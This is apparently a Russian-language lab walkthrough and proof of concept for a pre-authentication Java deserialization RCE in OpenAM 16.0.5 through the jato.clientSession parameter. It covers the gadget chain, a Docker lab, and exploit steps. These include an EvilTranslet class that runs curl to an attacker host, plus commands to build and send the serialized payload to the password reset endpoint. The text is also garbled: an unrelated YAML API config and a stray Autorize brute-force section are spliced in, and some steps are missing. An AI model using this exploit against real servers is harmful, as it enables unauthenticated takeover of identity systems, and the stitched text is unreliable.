Неисправленный путь кода для jato.clientSession (уязвимый):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
	this.encodedSessionString =
		context.getRequest().getParameter("jato.clientSession");
}

protected void deserializeAttributes() {
	if (this.encodedSessionString != null
		&& this.encodedSessionString.trim().length() > 0) {
		this.setAttributes(
			(Map) Encoder.deserialize(
				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
				Encoder.decodeHttp64(this.encodedSessionString), false)
		);
	}
}

---

<div id="vulnerability_affected"/>

### ***Затронутые версии***

| Продукт                     | Уязвимые                                      | Исправлено |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6 |
| ForgeRock AM (downstream)   | Потенциально затронуты в зависимости от линейки патчей | -      |

---

<div id="vulnerability_attacksurface"/>

### ***Поверхность атаки***

Любая конечная точка JATO ViewBean, JSP которой содержит тег *< jato:form >*, эксплуатируется без предварительной аутентификации:

| Конечная точка              | Назначение                            |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | Сброс пароля - ввод идентификатора пользователя |
| /ui/PWResetQuestion       | Сброс пароля - контрольные вопросы   |

Конечные точки сброса пароля являются основной целью: они общедоступны по замыслу и гарантированно отображают теги *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ Цепочка гаджетов***

<div id="gadgetchain_deserialization101"/>

### ***Java-десериализация 101***

Когда Java десериализует объект из байтового потока, она вызывает readObject() для каждого восстанавливаемого класса, включая вложенные объекты. Если злоумышленник контролирует байтовый поток и внедряет объект, чей readObject() запускает цепочку вызовов методов, завершающуюся выполнением кода, он получает RCE через гаджет-цепочку.

Ключевая особенность CVE-2026-33439: гаджет-цепочка не требует внешних библиотек. Каждый класс в цепочке включён в сам WAR-файл OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Это делает уязвимость эксплуатируемой в любой стандартной установке OpenAM.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

Это критическая деталь, которая делает эксплойт рабочим. Класс `Encoder` в `jato-shaded-16.0.5.jar` использует URL-safe кодировщик/декодировщик base64 из Java - не стандартный base64 и не собственную схему подстановки символов.

Проверено декомпиляцией Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

foass:
  base_url: https://www.foaas.com
  requests:
    - operation:
        data_format: json
        method: GET
        path: "/cool/:from"
        data:
          key: value
        params:
          key: value
        auth: []
      expect:
        status: 200

URL-безопасный base64 использует '-' вместо '+' и '_' вместо '/', без дополнения '='. Правильная кодировка:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

| Контейнер               | Образ                                    | Роль                |
|-------------------------|------------------------------------------|---------------------|
| cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Уязвимая цель       |
| cve_2026_33439_attacker | debian:bookworm-slim                     | Атакующая машина    |

> В лаборатории используется официальный WAR-файл OpenAM 16.0.5, развернутый на Tomcat 10.1.52 с Java 21 — точно та среда, которая описана в GitHub Security Advisory.

---

<div id="lab_setup"/>

### ***Настройка***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>

**Шаг 1 - Загрузите официальный WAR-файл OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"

Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"

**Шаг 3 - Настройка OpenAM через браузер**

Перейдите по адресу "http://localhost:8080/openam", нажмите "Создать конфигурацию по умолчанию" и укажите:

| Поле                            | Значение      |
|---------------------------------|---------------|
| Пароль пользователя по умолчанию (amadmin) | Lab@dm1n2026! |
| Пароль агента                   | secret12      |

Подождите ~2 минуты, пока завершится настройка.

**Шаг 4 - Убедитесь, что сброс пароля включен**

Войдите как amadmin → Настройка → Глобальные службы → Сброс пароля → включите переключатель → Сохранить изменения.

**Шаг 5 - Определите эксплуатируемые конечные точки JSP**

Найдите все JSP-файлы в WAR, содержащие *< jato:form >* теги, — это конечные точки, в которых запускается десериализация jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

4. Найдите целевой портал входа
5. Просмотрите ответ в AttackView

### **Выполнение атаки перебора заголовка авторизации на API** (см. AttackRecipe)

В этом сценарии атаки мы начинаем с конечной точки API и заголовком авторизации типа bearer. Чтобы выполнить атаку перебором, **Шаги**:

1. Перейдите в **Настройки Autorize** и отметьте только опцию `Replace Header` с параметром `Authorization`.
2. В поле **API endpoint** на вкладке **Autorize** введите целевой API-эндпоинт и также добавьте **SUBDOMAIN** конечной точки API в поле **Target Domain**.
3. Нажмите на кнопку **Autorize is Off**, чтобы запустить движок Autorize.
4. Отправьте запрос на целевой API-эндпоинт из аутентифицированной сессии, которая также содержит заголовок авторизации bearer.
5. Просмотрите ответ в **AttackView**```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

---

<div id="lab_access"/>

### ***Доступ***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

---
---
---



<div id="exploitation"/>

## ***💣 Эксплуатация***

<div id="exploitation_prerequisites"/>

### ***Предварительные требования***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| Требование            | Примечания                                                                                                                            |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | Должен соответствовать версии JVM, на которой работает OpenAM. Одного JRE недостаточно, javac требуется для компиляции EvilTranslet и PayloadBuilder |
| openam-core-16.0.5.jar | Скопирован из контейнера OpenAM - содержит Column, Column$ColumnComparator, PropertyUtils                                           |
| xalan-2.7.3.jar        | Скопирован из контейнера OpenAM - содержит TemplatesImpl, TransformerFactoryImpl                                                    |
| serializer-2.7.3.jar   | Скопирован из контейнера OpenAM - содержит SerializationHandler, используемый EvilTranslet                                                |
| click-nodeps-2.3.0.jar | Скопирован из контейнера OpenAM - содержит Table (требуется для Column$ColumnComparator)                                              |
| click-extras-2.3.0.jar | Скопирован из контейнера OpenAM - транзитивная зависимость click-nodeps                                                             |
| jato-shaded-16.0.5.jar | Скопирован из контейнера OpenAM - содержит Encoder с decodeHttp64                                                                |
| servlet-api.jar        | Скопирован из lib/ Tomcat - Jakarta Servlet API требуется для сериализации Table                                                |
| Python 3.8+            | Для PoC-скрипта                                                                                                               |
| requests               | pip install requests                                                                                                             |

---

<div id="exploitation_discovery"/>

### ***Обнаружение и разведка***

**Шаг 1 - Подтвердите, что OpenAM запущен, и определите версию**```
http://localhost:8080/openam/ccversion/Version

**Шаг 3 — Подтвердите, что jato.clientSession обработан**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

Terminal 2 - Создание и отправка callback-пейлоада:```
docker exec -it cve_2026_33439_attacker bash

cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

PAYLOAD=$(cat /work/payload_http.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."